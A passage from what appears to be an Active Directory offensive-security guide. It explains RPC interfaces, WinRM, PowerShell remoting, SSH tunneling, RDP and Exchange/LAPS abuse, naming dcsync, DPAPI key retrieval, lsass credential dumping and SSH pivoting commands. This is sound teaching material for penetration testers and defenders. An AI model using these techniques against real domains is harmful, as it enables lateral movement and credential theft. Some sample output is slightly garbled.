href=\"https:\/\/docs.microsoft.com\/en-us\/sysinternals\/downloads\/psexec\">PsExec<\/a> utility to execute commands in remote machines.<\/dd>\n<dt>\nSRVS<\/dt>\n<dd>Through <a href=\"https:\/\/docs.microsoft.com\/en-us\/openspecs\/windows_protocols\/ms-srvs\/accf23b0-0f57-441c-9185-43041f1b0ee9\">SRVS<\/a> (Server Service Remote) is possible to connect to a<br \/>\nremote machine in order to manage connections, sessions, shares, files and<br \/>\ntransport protocols. You can use <a href=\"https:\/\/github.com\/SecureAuthCorp\/impacket\/blob\/master\/examples\/netview.py\">netview.py<\/a> to enumerate sessions or <a href=\"https:\/\/docs.microsoft.com\/en-us\/previous-versions\/windows\/it-pro\/windows-server-2012-R2-and-2012\/hh875576(v=ws.11)\">net view<\/a><br \/>\nto enumerate shares in remote machines.<\/dd>\n<dt>\nTSCH<\/dt>\n<dd><a href=\"https:\/\/docs.microsoft.com\/en-us\/openspecs\/windows_protocols\/ms-tsch\/d1058a28-7e02-4948-8b8d-4a347fa64931\">TSCH<\/a> (Task Scheduler Service Remote) is used to manage tasks in remote<br \/>\ncomputers. You can use <a href=\"https:\/\/github.com\/SecureAuthCorp\/impacket\/blob\/master\/examples\/atexec.py\">atexec.py<\/a>, <a href=\"https:\/\/docs.microsoft.com\/en-us\/troubleshoot\/windows-client\/system-management-components\/use-at-command-to-schedule-tasks\">at<\/a> or <a href=\"https:\/\/docs.microsoft.com\/en-us\/windows-server\/administration\/windows-commands\/schtasks\">schtasks<\/a> to create remote tasks.<\/dd>\n<dt>\nWKST<\/dt>\n<dd><a href=\"https:\/\/docs.microsoft.com\/en-us\/openspecs\/windows_protocols\/ms-wkst\/5bb08058-bc36-4d3c-abeb-b132228281b7\">WKST<\/a> (Workstation Service Remote) is used to manage\/query some<br \/>\nworkstation setting<br \/>\ns as hostname, OS version, user sessions or computer<br \/>\ndomain. You can use WKST with <a href=\"https:\/\/github.com\/SecureAuthCorp\/impacket\/blob\/master\/examples\/netview.py\">netview.py<\/a> to enumerate sessions.<\/dd>\n<\/dl>\n<figure>\n<pre> .-------.\n | DHCPM |&gt;----.\n '-------'     |\n               |\n  .------.     |\n  | RPRN |&gt;----|\n  '------'     |\n               |\n  .------.     |                                          .--------\n  | RRP  |&gt;----|                                          |\n  '------'     |                                          |\n               |                                        .---\n  .------.     |                             .--NBSSN--&gt;| 139\n  | SAMR |&gt;----|                             |          '---\n  '------'     |      .------.     .-----.   |            |  Windows\n               |-----&gt;| RPC  |&gt;---&gt;| SMB |&gt;--|            |\n  .------.     |      '------'     '-----'   |            |  machine\n  | SCMR |&gt;----|                      |      |          .---\n  '------'     |                      |      '---TCP---&gt;| 445\n               |                      |                 '---\n  .------.     |                      |                   |\n  | SRVS |&gt;----|                      |                   |\n  '------'     |                      |                   '--------\n               |               .------------.\n  .------.     |               |            |\n  | TSCH |&gt;----|            .------.   .----------.\n  '------'     |            | NTLM |   | Kerberos |\n               |            '------'   '----------'\n  .------.     |\n  | WKST |&gt;----'\n  '------'\n<\/pre><figcaption>\nRPC protocols that works over SMB<br \/>\n<\/figcaption><\/figure>\n<p>Additionally, there are some RPC interfaces that are specific to be used in a<br \/>\ndomain to query a Domain Controllers:<\/p>\n<dl>\n<dt>\nBKRP<\/dt>\n<dd><a href=\"https:\/\/docs.microsoft.com\/en-us\/openspecs\/windows_protocols\/ms-bkrp\/90b08be4-5175-4177-b4ce-d920d797e3a8\">BKRP<\/a> (BackupKey Remote Protocol) is used to transmit DPAPI keys in an<br \/>\nActive Directory domain. You can use <a href=\"https:\/\/www.coresecurity.com\/core-labs\/articles\/reading-dpapi-encrypted-keys-mimikatz#_Toc64019558\">mimikatz lsadump::backupkeys<\/a> or<br \/>\n<a href=\"https:\/\/github.com\/SecureAuthCorp\/impacket\/blob\/master\/examples\/dpapi.py\">dpapi.py backupkeys<\/a> to retrieve the DPAPI backup keys from a domain<br \/>\ncontroller.<\/dd>\n<dt>\nLSAD<\/dt>\n<dd><a href=\"https:\/\/docs.microsoft.com\/en-us\/openspecs\/windows_protocols\/ms-lsad\/1b5471ef-4c33-4a91-b079-dfcbb82f05cc\">LSAD<\/a> (LSA Domain Policy) is a remote interface for LSA (Local Security<br \/>\nAuthority) to manage users, trusts and other stuff related with security. Is<br \/>\nused along with LSAT.<\/dd>\n<dt>\nLSAT<\/dt>\n<dd><a href=\"https:\/\/docs.microsoft.com\/en-us\/openspecs\/windows_protocols\/ms-lsat\/1ba21e6f-d8a9-462c-9153-4375f2020894\">LSAT<\/a> (LSA Translations Methods) allows to translate SIDs to principal<br \/>\nnames. Is used along with LSAD. You can use <a href=\"https:\/\/github.com\/SecureAuthCorp\/impacket\/blob\/a45f331360ce2abdb1c517a35a1c407725b0d761\/examples\/lookupsid.py\">lookupsid.py<\/a> to enumerate users<br \/>\nbased on the SIDs.<\/dd>\n<dt>\nNRPC<\/dt>\n<dd><a href=\"https:\/\/docs.microsoft.com\/en-us\/openspecs\/windows_protocols\/ms-nrpc\/ff8f970f-3e37-40f7-bd4b-af7336e4792f\">NRPC<\/a> (Netlogon Remote Protocol) is used in domains to allow computers<br \/>\nto authenticate users by querying the domain controller. Is also used between<br \/>\ndomain controllers of different domains in order to authenticate users of<br \/>\ndifferent domains with NTLM. Additionally it allows to obtain information such<br \/>\nas users information, domain trusts or domain controllers list. You can use<br \/>\nthe <a href=\"https:\/\/docs.microsoft.com\/en-us\/previous-versions\/windows\/it-pro\/windows-server-2012-R2-and-2012\/cc731935(v=ws.11)\">nltest<\/a> (Netlogon test) to perform several requests. This protocol is also<br \/>\nknown by the <a href=\"https:\/\/www.secura.com\/blog\/zero-logon\">Zerologon<\/a> vulnerability.<\/dd>\n<\/dl>\n<figure>\n<pre>  .------.                                                .----------\n  | BKRP |&gt;----.                                          |\n  '------'     |                                          |\n               |                                        .---\n  .------.     |                             .--NBSSN--&gt;| 139\n  | LSAD |&gt;----|                             |          '---\n  '------'     |      .------.     .-----.   |            |    Domain\n               |-----&gt;| RPC  |&gt;---&gt;| SMB |&gt;--|            |  \n  .------.     |      '------'     '-----'   |            |  Controller\n  | LSAT |&gt;----|                      |      |          .---\n  '------'     |                      |      '---TCP---&gt;| 445\n               |                      |                 '---\n  .------.     |                      |                   |\n  | NRPC |&gt;----'                      |                   |\n  '------'                            |                   '----------\n                               .------------.\n                               |            |\n                            .------.   .----------.\n                            | NTLM |   | Kerberos |\n                            '------'   '----------'\n<\/pre><figcaption>\nRPC protocols that works over SMB (Domain Controller)<br \/>\n<\/figcaption><\/figure>\n<h4 id=\"rpc-over-tcp\">\nRPC over TCP<\/h4>\n<p>Moreover, there are some RPC interfaces that cannot be used over SMB, but you<br \/>\ncan use them directly over TCP:<\/p>\n<dl>\n<dt>\nDCOM<\/dt>\n<dd><a href=\"https:\/\/docs.microsoft.com\/en-us\/openspecs\/windows_protocols\/ms-dcom\/4a893f3d-bd29-48cd-9f43-d9777a4415b0\">DCOM<\/a> (Distributed COM) is used to interact with <a href=\"https:\/\/docs.microsoft.com\/en-us\/windows\/win32\/com\/the-component-object-model\">COM<\/a> (Component Object<br \/>\nModel) objects of remote computers. COM objects are very useful and can be<br \/>\nused for a lot of things, like executing commands, that can be accomplished by<br \/>\nusing <a href=\"https:\/\/github.com\/SecureAuthCorp\/impacket\/blob\/master\/examples\/dcomexec.py\">dcomexec.py<\/a>.<\/dd>\n<dt>\nWMI<\/dt>\n<dd><a href=\"https:\/\/docs.microsoft.com\/en-us\/openspecs\/windows_protocols\/ms-wmi\/c476597d-4c76-47e7-a2a4-a564fe4bf814\">WMI<\/a> (Windows Management Instrumentation Remote) is the Microsoft<br \/>\nimplementation of <a href=\"https:\/\/en.wikipedia.org\/wiki\/Common_Information_Model_(computing)\">CIM<\/a> (Common Information Model) built on top of COM objects<br \/>\nthat allows to query and manipulate different parts of a Windows machine from<br \/>\na single interface. Is very versatile and can be used with <a href=\"https:\/\/docs.microsoft.com\/en-us\/windows\/win32\/wmisdk\/wmic\">wmic<\/a>, Powershell<br \/>\ncmdLets like <a href=\"https:\/\/docs.microsoft.com\/en-us\/powershell\/module\/microsoft.powershell.management\/get-wmiobject?view=powershell-5.1\">Get-WmiObject<\/a> or impacket WMI scripts like <a href=\"https:\/\/github.com\/SecureAuthCorp\/impacket\/blob\/master\/examples\/wmiexec.py\">wmiexec.py<\/a>.<\/dd>\n<dt>\nDRSR<\/dt>\n<dd><a href=\"https:\/\/docs.microsoft.com\/en-us\/openspecs\/windows_protocols\/ms-drsr\/f977faaa-673e-4f66-b9bf-48c640241d47\">DRSR<\/a> (Directory Replication Service Remote) is the protocol used by<br \/>\ndomain controllers to replicate data. It can be also used for an attacker with<br \/>\nenough privileges to replicate the domain users credentials by performing a<br \/>\n<a href=\"https:\/\/adsecurity.org\/?p=1729\">dcsync attack<\/a> with <a href=\"https:\/\/github.com\/gentilkiwi\/mimikatz\/wiki\/module-~-lsadump#dcsync\">mimikatz lsadump::dcsync<\/a> or <a href=\"https:\/\/github.com\/SecureAuthCorp\/impacket\/blob\/master\/examples\/secretsdump.py\">impacket secretsdump.py<\/a>.<\/dd>\n<\/dl>\n<figure>\n<pre>                                                        .--------\n .-----.     .------.                                   |\n | WMI |----&gt;| DCOM |&gt;----.                             |\n '-----'     '------'     |        .------.            .---\n                          |-------&gt;| RPC  |&gt;--TCP--.--&gt;| 135 (EPM)\n        .-----------.     |        '------'        |   '---\n        | (DC) DRSR |&gt;----'           |            |     |  Windows\n        '-----------'                 |            |     |\n                                      |            |     |  machine\n                                      |            |   .---\n                                      |            '--&gt;| 49152 - 65535\n                                      |                '---  \n                                      |                  |\n                                      |                  |\n                                .------------.           '--------\n                                |            |\n                             .------.   .----------.\n                             | NTLM |   | Kerberos |\n                             '------'   '----------'\n<\/pre><figcaption>\nRPC protocols that works over TCP<br \/>\n<\/figcaption><\/figure>\n<h3 id=\"winrm\">\nWinRM<\/h3>\n<p>Apart from RPC, there is also possible to use WinRM (Windows Remote Management)<br \/>\nto communicate and execute operations in other machines. WinRM is the Microsoft<br \/>\nimplementation of the <a href=\"https:\/\/en.wikipedia.org\/wiki\/WS-Management\">WS-Management<\/a> (Web Services-Management) specification that<br \/>\ndefines a protocol for managing computers by using SOAP over HTTP.<\/p>\n<p>WinRM uses some extensions that are defined in <a href=\"https:\/\/docs.microsoft.com\/en-us\/openspecs\/windows_protocols\/ms-wsman\/70912fec-c815-44ef-97c7-fc7f2ec7cda5\">WSMAN<\/a> and <a href=\"https:\/\/docs.microsoft.com\/en-us\/openspecs\/windows_protocols\/ms-wsmv\/055dc36b-db2a-41ae-a47b-82cbfa0b4a92\">WSMV<\/a> for accessing CIM<br \/>\nobjects in remote machines. These CIM objects are like an update to WMI objects.<br \/>\nYou can access to CIM objects in local and remote machines with the <a href=\"https:\/\/devblogs.microsoft.com\/powershell\/introduction-to-cim-cmdlets\/\">CIM Cmdlets<\/a><br \/>\nsuch as <a href=\"https:\/\/docs.microsoft.com\/en-us\/powershell\/module\/cimcmdlets\/get-ciminstance?view=powershell-7.1\">Get-CimInstance<\/a>. Additionally, you can use also use <a href=\"https:\/\/docs.microsoft.com\/en-us\/windows-server\/administration\/windows-commands\/winrs\">winrs<\/a> to perform<br \/>\nactions in remote computers by using WinRM.<\/p>\n<figure>\n<pre style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4\"><code data-lang=\"powershell\">PS C:&gt; Get-CimInstance CIM_OperatingSystem -ComputerName dc01 | Format-List\nSystemDirectory : C:Windowssystem32\nOrganization    :\nBuildNumber     : 17763\nRegisteredUser  : Windows User\nSerialNumber    : 00431-10000-00000-AA522\nVersion         : 10.0.17763\nPSComputerName  : dc01<\/code><\/pre><figcaption>\nUse CIM to get info from a remote computer<br \/>\n<\/figcaption><\/figure>\n<p>By default, WinRM service listen on port 5985 for HTTP connections and port 5986<br \/>\nfor HTTPS connections. By default, HTTP is used, since the WinRM messages are<br \/>\nencrypted in a top layer. However, WinRM can be configured to<br \/>\n<a href=\"https:\/\/adamtheautomator.com\/winrm-port\/#h-setting-winrm-compatibility-ports\">use the regular HTTP ports<\/a> 80 and 443 for HTTP and HTTPS connections<br \/>\nrespectively.<\/p>\n<figure>\n<pre>                                                               .----------\n                                                               |\n                                                               |\n .--------------------------------.                          .---\n |             WinRM              |                 .--TCP--&gt;| 5985 or 80\n |                                |                 |        '---\n | .-----.    .---------------.   |   .---------.   |          |  Windows\n | | CIM |---&gt;| WS-Management |&gt;--|--&gt;| HTTP(S) |&gt;--|          |  \n | '-----'    '---------------'   |   '---------'   |          |  Machine\n |                                |        |        |        .---\n '--------------------------------'        |        '--SSL--&gt;| 5986 or 443\n                                           |                 '---\n                                           |                   |\n                                           |                   |\n                                           |                   '----------\n                                    .-------------.\n                                    |             |\n                                .------.     .----------.\n                                | NTLM |     | Kerberos |\n                                '------'     '----------'\n<\/pre><figcaption>\nWinRM protocol stack<br \/>\n<\/figcaption><\/figure>\n<h3 id=\"powershell-remoting\">\nPowershell remoting<\/h3>\n<p>One great utility to manage systems is Powershell remoting, that allows the<br \/>\nclient to establish a Powershell session on remote computers and perform all<br \/>\nkind of tasks with <a href=\"https:\/\/docs.microsoft.com\/en-us\/powershell\/\">Powershell<\/a>.<\/p>\n<figure>\n<pre style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4\"><code data-lang=\"powershell\">PS C:&gt; $pw = ConvertTo-SecureString -AsPlainText -Force -String \"Admin1234!\"\nPS C:&gt; $cred = New-Object -typename System.Management.Automation.PSCredential -argumentlist \"contosoAdministrator\",$pw\nPS C:&gt; \nPS C:&gt; $session = New-PSSession -ComputerName dc01 -Credential $cred\nPS C:&gt; Invoke-Command -Session $session -ScriptBlock {hostname}\ndc01\nPS C:&gt; Enter-PSSession -Session $session\n[dc01]: PS C:UsersAdministratorDocuments&gt;<\/code><\/pre><figcaption>\nRemote PowerShell session with cleartext credentials<br \/>\n<\/figcaption><\/figure>\n<p>Originally, Powershell remoting was built on top of <a href=\"#winrm\">WinRM<\/a> protocol. However, it<br \/>\nwas expected to be used in Linux machines so it also supports <a href=\"#ssh\">SSH<\/a> as transport<br \/>\nprotocol.<\/p>\n<blockquote><p>Is also possible to use Powershell through a web browser if<br \/>\n<a href=\"https:\/\/practical365.com\/powershell-web-access-just-how-practical-is-it\">Powershell Web Access<\/a> (PSWA) is enabled.<\/p><\/blockquote>\n<figure>\n<pre>                                                         .----------\n                                                         |\n                         .-----.                       .---\n             .----------&gt;| SSH |&gt;---------TCP---------&gt;| 22\n             |           '-----'                       '---\n             |              |                            |\n  .------.   |              |                            |\n  | PSRP |&gt;--|              |                          .---\n  '------'   |              |                 .--TCP--&gt;| 5985 or 80\n             |              |                 |        '---\n             |  .-------.   |   .---------.   |          |\n             '-&gt;| WinRM |&gt;--|--&gt;| HTTP(S) |&gt;--|          |  \n                '-------'   |   '---------'   |          |\n                            |        |        |        .---\n                            |        |        '--SSL--&gt;| 5986 or 443\n                            |        |                 '---\n                            |        |                   |\n                            |        |                   |\n                            |        |                   '----------\n                            |   .----------.\n                            |   |          |\n                         .----------.   .------.\n                         | Kerberos |   | NTLM |\n                         '----------'   '------'\n<\/pre><figcaption>\nPowershell remoting protocol stack<br \/>\n<\/figcaption><\/figure>\n<p>In order to use Powershell remoting, you can use several <a href=\"https:\/\/www.netspi.com\/blog\/technical\/network-penetration-testing\/powershell-remoting-cheatsheet\/\">PSSession CmdLets to use to<br \/>\nexecute commands on remote machines<\/a>. Also, from Linux you can<br \/>\n<a href=\"https:\/\/docs.microsoft.com\/en-us\/powershell\/scripting\/install\/installing-powershell-core-on-linux?view=powershell-7.1\">install Powershell<\/a> or using a tool like <a href=\"https:\/\/github.com\/Hackplayers\/evil-winrm\">evil-winrm<\/a>.<\/p>\n<p>Apart from being useful for <a href=\"https:\/\/www.ired.team\/offensive-security\/lateral-movement\/t1028-winrm-for-lateral-movement\">lateral movement<\/a>, you could also use<br \/>\n<a href=\"https:\/\/docs.microsoft.com\/en-us\/powershell\/scripting\/learn\/remoting\/jea\/overview?view=powershell-7.1\">JEA endpoints<\/a> (only available over WinRM) as a <a href=\"https:\/\/www.labofapenetrationtester.com\/2019\/08\/race.html\">persistence mechanism<\/a>.<\/p>\n<p>However, be careful in a pentest since <a href=\"https:\/\/es.slideshare.net\/nikhil_mittal\/hacked-pray-that-the-attacker-used-powershell\">Powershell has many logging features<\/a>.<\/p>\n<h3 id=\"ssh\">\nSSH<\/h3>\n<p>SSH (Secure Shell) is a widely used protocol for accessing and managing Unix<br \/>\nsystems like Linux, but since 2018 is also <a href=\"https:\/\/docs.microsoft.com\/en-us\/windows-server\/administration\/openssh\/openssh_overview\">available for Windows<\/a>. Even if it is<br \/>\nnot related with Active Directory directly, usually many Linux machines deployed<br \/>\nin a domain could be accessed through SSH, so you should know how it works and<br \/>\nwhat you can do with it.<\/p>\n<p>The SSH services listens in the <strong>port 22<\/strong> by default.<\/p>\n<figure>\n<pre>                       .----\n                       |\n   .-----.           .---\n   | SSH |&gt;---TCP---&gt;| 22\n   '-----'           '---\n      |                |\n      |                '----\n      |\n      |\n .----------.\n | Kerberos |\n '----------'\n<\/pre><figcaption>\nSSH port<br \/>\n<\/figcaption><\/figure>\n<p>SSH is a very versatile protocol that allows the user get a shell on a remote<br \/>\nsystem, transfer files (with the <a href=\"https:\/\/linux.die.net\/man\/1\/scp\">scp<\/a> utility) and establishing SSH tunnels.<\/p>\n<p>It heavily used by Linux machines and maybe you can use to move between domain<br \/>\ncomputers if you are able to find some <a href=\"#ssh-keys\">ssh keys<\/a> or valid user credentials.<\/p>\n<figure>\n<pre style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4\"><code data-lang=\"text\">$ ssh foo@db.contoso.local\nfoo@db.contoso.local's password: \nLinux db 4.19.0-14-amd64 #1 SMP Debian 4.19.171-2 (2021-01-30) x86_64\nThe programs included with the Debian GNU\/Linux system are free software;\nthe exact distribution terms for each program are described in the\nindividual files in \/usr\/share\/doc\/*\/copyright.\nDebian GNU\/Linux comes with ABSOLUTELY NO WARRANTY, to the extent\npermitted by applicable law.\nLast login: Mon Apr 26 11:23:20 2021 from 192.168.122.1\nfoo@db:~$ hostname\nid<\/code><\/pre><figcaption>\nSSH session in db.contoso.local as foo user<br \/>\n<\/figcaption><\/figure>\n<p>Moreover it can also be with <a href=\"#kerberos\">Kerberos<\/a> in case the target machine is added to the<br \/>\ndomain. You can use the Kerberos authentication by enabling the <a href=\"#gss-api\">GSSAPI<\/a><br \/>\nauthentication (with <code>-o GSSAPIAuthentication=yes<\/code>).<\/p>\n<h4 id=\"ssh-tunneling\">\nSSH tunneling<\/h4>\n<p>SSH tunneling allows you to forward the connections from the local machine ports<br \/>\nto the remote machine and vice versa, so it can be pretty useful in order to<br \/>\npivot in the network bypassing firewalls and network segmentation.<\/p>\n<p>SSH supports <a href=\"https:\/\/www.howtogeek.com\/168145\/how-to-use-ssh-tunneling\/\">three types of port forwarding<\/a>:<\/p>\n<dl>\n<dt>\nLocal Port Forwarding<\/dt>\n<dd>In this case you can map a local port to a port<br \/>\naccessible for the remote machine. For example, if the remote machine<br \/>\n<code>remote.contoso.local<\/code>  can access to a web site in <code>web.contoso.local:80<\/code><br \/>\nthat is not reachable by your machine, you could map a local port, for example<br \/>\n8080 to the port 80 of <code>web.contoso.local<\/code> with an SSH connection executing<br \/>\n<code>ssh -L 8080:web.contoso.local:80 user@remote.contoso.local<\/code>. Then you can<br \/>\naccess to the remote web page by accessing to your local port 8080.<\/p>\n<figure>\n<pre>              local                              remote                web\n           .----------.                        .--------.            .-----\n           |          |      SSH Tunnel        |        |            |\n  o      .---        ---. ================== .---      ---.        .---\n \/| ---&gt;| 8080 -&gt; rand | &gt;&gt;----TCP--&gt;&gt;---&gt;&gt; | 22 -&gt; rand |&gt;-TCP--&gt;| 80\n \/      '---        ---' ================== '---      ---'        '---\n           |          |                        |        |            |\n           '----------'                        '--------'            '-----\n<\/pre><figcaption>\nSSH Local Port Forwarding<br \/>\n<\/figcaption><\/figure>\n<\/dd>\n<dt>\nRemote Port Forwarding<\/dt>\n<dd>Remote port forwarding is the opposite to local port<br \/>\nforwarding. In this case you can make that the remote machine can access to a<br \/>\nport accessible by your machine. If, for example, you can access to a web<br \/>\npage in <code>web.contoso.local:80<\/code> but the remote machine can&#8217;t, you can map a<br \/>\nport like 8080 of the remote machine to the port 80 of <code>web.contoso.local<\/code><br \/>\nwith the following command<br \/>\n<code>ssh -R 8080:web.contoso.local:80 user@remote.contoso.local<\/code>. This way, people<br \/>\nthat connect to the port 8080 of the remote machine will be able to reach the<br \/>\nweb server.<\/p>\n<figure>\n<pre> web                 local                           remote \n ----.            .----------.                     .--------.\n     |            |          |     SSH Tunnel      |        |    \n    ---.        .---        ---. ==============  .---      ---.        o\n    80 |&lt;--TCP-&lt;| rand &lt;- rand | &lt;&lt;--&lt;&lt;-TCP--&lt;&lt;  | 22 &lt;- 8080 | &lt;---- \/|\n    ---'        '---        ---' ==============  '---      ---'       \/ \n     |            |          |                     |        |\n ----'            '----------'                     '--------'\n<\/pre><figcaption>\nSSH Remote Port Forwarding<br \/>\n<\/figcaption><\/figure>\n<\/dd>\n<dt>\nDynamic Port Forwarding<\/dt>\n<dd>Finally, the Dynamic Port Forwarding allows you to<br \/>\ncommunicate with any port reachable for the remote machine, by creating a<br \/>\n<a href=\"https:\/\/en.wikipedia.org\/wiki\/SOCKS\">SOCKS<\/a> proxy. You indicate a local port where the SOCKS proxy will listen, and<br \/>\nit will forward all your requests to the remote machine via SSH and then to<br \/>\nthe target machine:port. For example, you can setup a SOCKS proxy in port 8080<br \/>\nwith the following command <code>ssh -D 8080 user@remote.contoso.local<\/code>.<\/p>\n<figure>\n<pre>                                                                         web\n                                                                       .-----\n                                                                       |\n                  local                            remote            .---\n               .----------.                      .--------.    .----&gt;| 80\n               |          |      SSH Tunnel      |        |    |     '---\n             .---        ---. ================ .---      ---.  |       |\n     web:80  |              | &gt;---web:80----&gt;&gt; |  ---&gt; rand |&gt;-'       '-----\n  o  -------&gt;|              |                  |         ---'\n \/|         | 8080 -&gt; rand |                  | 22       |\n \/  db:3306 |              |                  |         ---.            db\n     -------&gt;|              | &gt;---db:3306---&gt;&gt; |  ---&gt; rand |&gt;-.       .-----\n             '---        ---' ================ '---      ---'  |       |\n               |          |                      |        |    |     .---\n               '----------'                      '--------'    '----&gt;| 3306\n                                                                     '---\n                                                                       |\n                                                                       '-----\n<\/pre><figcaption>\nSSH Dynamic Port Forwarding<br \/>\n<\/figcaption><\/figure>\n<\/dd>\n<\/dl>\n<p>Sometimes <a href=\"https:\/\/man.openbsd.org\/sshd_config#AllowTcpForwarding\">TCP Forwarding is disabled<\/a> in SSH servers, preventing use from<br \/>\ncreating SSH tunnels. In those cases you can use <a href=\"https:\/\/github.com\/TarlogicSecurity\/SaSSHimi\">SaSSHimi<\/a> to create tunnels.<\/p>\n<h3 id=\"rdp\">\nRDP<\/h3>\n<p>RDP (Remote Desktop Protocol) is protocol that allows you connect to other<br \/>\nmachines providing a graphical user interface. Is commonly used in Windows<br \/>\nenvironments to connect and manage remote machines since both client and server<br \/>\nare included in Windows by default.<\/p>\n<figure>\n<img decoding=\"async\" src=\".\/rdp_client.png\" alt=\".\/rdp_client.png\" title=\".\/rdp_client.png\"><figcaption>\nRDP Windows client<br \/>\n<\/figcaption><\/figure>\n<p>You can check if a machine is using RDP commonly by checking if ports 3389\/TCP<br \/>\nor 3389\/UDP are open.<\/p>\n<figure>\n<pre>                       .----\n                       |\n   .-----.           .---\n   | RDP |----------&gt;| 3389 TCP and UDP\n   '-----'           '---\n                       |\n                       '----\n<\/pre><figcaption>\nRDP port<br \/>\n<\/figcaption><\/figure>\n<p>However, in order to access to that machine, the user must be member of<br \/>\n<code>Administrators<\/code> or <code>Remote Desktop Users<\/code> local groups. Also, be careful since<br \/>\nonly a graphical session is allowed in Windows, so connecting through RDP could<br \/>\nlog off other user.<\/p>\n<p>Apart from managing remotely the machine, you can <a href=\"https:\/\/www.errno.fr\/RDPTunneling.html\">use RDP to create a SOCKS proxy<\/a><br \/>\nthat allows to use the remote machine to pivot across the network by using<br \/>\n<a href=\"https:\/\/github.com\/nccgroup\/SocksOverRDP\">SocksOverRDP<\/a> or <a href=\"https:\/\/www.freerdp.com\/\">freerdp<\/a> with <a href=\"https:\/\/github.com\/V-E-O\/rdp2tcp\">rdp2tcp<\/a>.<\/p>\n<p>You should also keep in mind that when a machine is connected through RDP, the<br \/>\nuser <strong>credentials are sent over the network<\/strong> to the target machine (since the<br \/>\n<a href=\"https:\/\/docs.microsoft.com\/en-us\/windows\/win32\/secauthn\/credential-security-support-provider\">CredSSP<\/a> provider), so users connected by RDP are susceptible of credential<br \/>\nsteeling by dumping the lsass process memory.<\/p>\n<h2 id=\"microsoft-extras\">\nMicrosoft extras<\/h2>\n<p>Active Directory is a central piece in the network ecosystem and many other<br \/>\nMicrosoft products used\/enhanced it for multiple purposes. This section includes<br \/>\nsome Microsoft software that the attacker should be aware in case of being<br \/>\ninstalled in the domain.<\/p>\n<h3 id=\"laps\">\nLAPS<\/h3>\n<p><a href=\"https:\/\/adsecurity.org\/?p=3164\">LAPS<\/a> (Local Administrator Password Solution) is an utility to manage the<br \/>\npasswords of the domain computers local administrators. LAPS randomize the local<br \/>\nadministrator passwords in order to avoid reusing credentials and changes them<br \/>\nperiodically.<\/p>\n<p>For this purpose LAPS add two properties to the computer objects of the domain:<br \/>\n<code>ms-Mcs-AdmPwd<\/code> and <code>ms-Mcs-AdmPwdExpirationTime<\/code>.<\/p>\n<p>The <code>ms-Mcs-AdmPwd<\/code> stores the machine local <code>Administrator<\/code> password, and only<br \/>\ncan be seen if explicit granted to it is given. If you are able to get the local<br \/>\nadministrator password, you can connect to the computer (using NTLM<br \/>\nauthentication) with\u2026 well, admin rights.<\/p>\n<p>The other property <code>ms-Mcs-AdmPwdExpirationTime<\/code> can be read by anyone (by<br \/>\ndefault), so in order to identify computers managed by LAPS, you can search for<br \/>\ncomputer objects that contain that property.<\/p>\n<h3 id=\"exchange\">\nExchange<\/h3>\n<p>Exchange is a mail server developed by Microsoft that can be installed in the<br \/>\nWindows Servers and integrated with Active Directory.<\/p>\n<p>When Exchange is installed <a href=\"https:\/\/adsecurity.org\/?p=4119 \">several groups and ACEs<\/a> are created in the domain.<\/p>\n<p>Maybe the most relevant thing before the <a href=\"https:\/\/techcommunity.microsoft.com\/t5\/exchange-team-blog\/released-february-2019-quarterly-exchange-updates\/ba-p\/609061\">February 2019 update<\/a> thing is that the<br \/>\n<strong>Exchange Windows Permissions<\/strong> group had <code>WriteDacl<\/code> permission over the domain<br \/>\nobject by default. That means that in outdated installations (that for sure<br \/>\nexist on the wild) members of such group can write ACEs that will give the<br \/>\n<code>DS-Replication-Get-Changes<\/code> and <code>DS-Replication-Get-Changes-All<\/code> permissions to<br \/>\nany user in the domain, allowing that account to perform a dcsync attack and<br \/>\nthen retrieve the domain users credentials.<\/p>\n<p>Additionally, the <code>Exchange Trusted Subsystem<\/code> group, to which all the Exchange<br \/>\nservers belong, is member of <code>Exchange Windows Permissions<\/code> group. Therefore,<br \/>\ncompromising any Exchange server could allow an attacker to have permissions to<br \/>\ncompromise the entire domain.<\/p>\n<p>Maybe the most famous abuse of Exchange permissions was the <a href=\"https:\/\/dirkjanm.io\/abusing-exchange-one-api-call-away-from-domain-admin\/\">PrivExchange attack<\/a><br \/>\nthat abuses a <a href=\"https:\/\/www.zerodayinitiative.com\/blog\/2018\/12\/19\/an-insincere-form-of-flattery-impersonating-users-on-microsoft-exchange\">vulnerability on Exchange servers<\/a> that allows an user to force an<br \/>\nHTTP authenticated connection from the Exchange Server to another computer. Then<br \/>\nby performing a NTLM Relay attack from HTTP to LDAP, the Exchange Server was<br \/>\ncoerced to give DCsync rights to an arbitrary user account. Microsoft also<br \/>\nreleased the patch for this vulnerability in the <a href=\"https:\/\/techcommunity.microsoft.com\/t5\/exchange-team-blog\/released-february-2019-quarterly-exchange-updates\/ba-p\/609061\">February 2019 update<\/a>.<\/p>\n<p>Moreover, the <a href=\"https:\/\/blog.fox-it.com\/2018\/04\/26\/escalating-privileges-with-acls-in-active-directory\/\"><code>Organization Admins<\/code> group<\/a> (also added by Exchange) can control<br \/>\nthe membership of <code>Exchange Windows Permissions<\/code> and <code>Exchange Trusted<br \/>\nSubsystem<\/code>. Apart from that, the <code>Organization Admins<\/code> are local administrator<br \/>\nin the Exchange servers, so being member of this group, will also allow an user<br \/>\nto compromise the entire domain.<\/p>\n<figure>\n<pre>                                                               .--------.\n                                                               | Object |\n                                                .--WriteDacl--&gt;| domain |\n                                                |              '--------'\n                                                |\n                                                |\n                                                |\n                                 .-----------------------------.\n                                 |            Group            |\n                         .------&gt;| Exchange Windows Permission |\n                         |       '-----------------------------'\n                         |                      ^\n                         |                      |\n            .-controls---|                    member\n            |            |                      |\n            |            |                      ^\n            |            |       .----------------------------.\n            |            |       |           Group            |\n            |            '------&gt;| Exchange Trusted Subsystem |\n            ^                    '----------------------------'\n .---------------------.               ^                ^\n |        Group        |               |                |\n | Organization Admins |               |                |\n '---------------------'             member           member\n            v                          |                |\n            |                .---------|----------------|----------.\n            |                |         |    Exchange    |          |\n            |                |         |    Servers     |          |\n            |                |         |                |          |\n            |                |        .---.            .---.       |\n            |                |       \/   \/|           \/   \/|       |\n            |                |      .---. |          .---. |       |\n            |                |      |   | '          |   | '       |\n            |                |      |   |\/           |   |\/        |\n            |                |      '---'            '---'         |\n            |                |      exch1            exch2         |\n            |                |        ^                ^           |\n            |                '--------|----------------|-----------'\n          